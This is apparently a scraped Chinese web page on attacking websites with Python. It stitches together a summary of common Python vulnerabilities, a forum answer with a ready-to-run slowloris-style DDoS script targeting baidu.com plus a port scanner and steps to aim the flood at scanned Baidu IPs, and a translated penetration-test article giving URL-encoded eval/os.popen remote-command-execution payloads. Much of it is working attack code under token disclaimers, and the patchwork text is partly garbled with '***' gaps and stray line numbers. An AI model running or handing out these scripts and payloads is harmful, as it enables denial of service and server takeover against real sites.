用python攻击网站_python3网站攻击

hacker|
165

Python常见的漏洞都有什么?

首先是解析XML漏洞。如果您的应用程序加载和解析XML文件,那么您可能正在使用XML标准库模块。有一些针对XML的常见攻击。大多数是DoS风格(旨在破坏系统而不是窃取数据)。这些攻击很常见,尤其是在解析外部(即不受信任的)XML文件时。一种这样的攻击是“十亿笑”,因为加载的文件包含许多(十亿)“笑”。您可以加载XML实体文件,当XML解析器尝试将此XML文件加载到内存中时,它将消耗许多GB的内存。

其次是SQL注入漏洞。SQL注入漏洞的原因是用户输入直接拼接到SQL查询语句中。在pythonweb应用程序中,orm库一般用于数据库相关的操作。例如,Flask和Tornado经常使用SQLAlchemy,而Django有自己的orm引擎。.但是如果不使用ORM,直接拼接SQL语句,就有SQL注入的风险。

再者是输入函数漏洞。在Python2的大量内置特性中,输入是一场彻底的安全灾难。一旦调用它,从标准输入读取的任何内容都会立即解析为Python代码,显然,除非脚本的标准输入中的数据完全可信,否则决不能使用输入函数。Python2文档建议将rawinput作为安全的替代方案。在Python3中,input函数等价于rawinput,一劳永逸地解决了这个陷阱。

要知道SSTI是ServerSideTemplateInjection,是Web开发中使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以相应分离,代码复用变得简单,开发效率也提高了。模板在服务器端使用,数据由模板引擎渲染,然后传递给用户,可以为特定用户/特定参数生成对应的页面。我们可以对比一下百度搜索,搜索不同词条得到的结果页面是不一样的,但是页面的边框基本是一样的。

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,更好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的 *** 攻击都是以端口扫描开始的,在 *** 安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的 *** 服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

python爬虫被当做黑客攻击是怎么回事呢

因为爬取数据的时候造成大量的数据访问,且有可能暴露敏感信息

且访问网站的行为也不像正常用户访问,所以会被当成攻击

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用 *** 的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。

因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:

1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一 *** 立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的 *** 来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:

\

大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。

不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:

\

下图显示的是Burp在扫描这个漏洞时所使用的Payload:

\

我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的 *** 。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的 *** 来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:

\

请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。

如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用 *** 跟sqlmap基本相同。

0条大神的评论

发表评论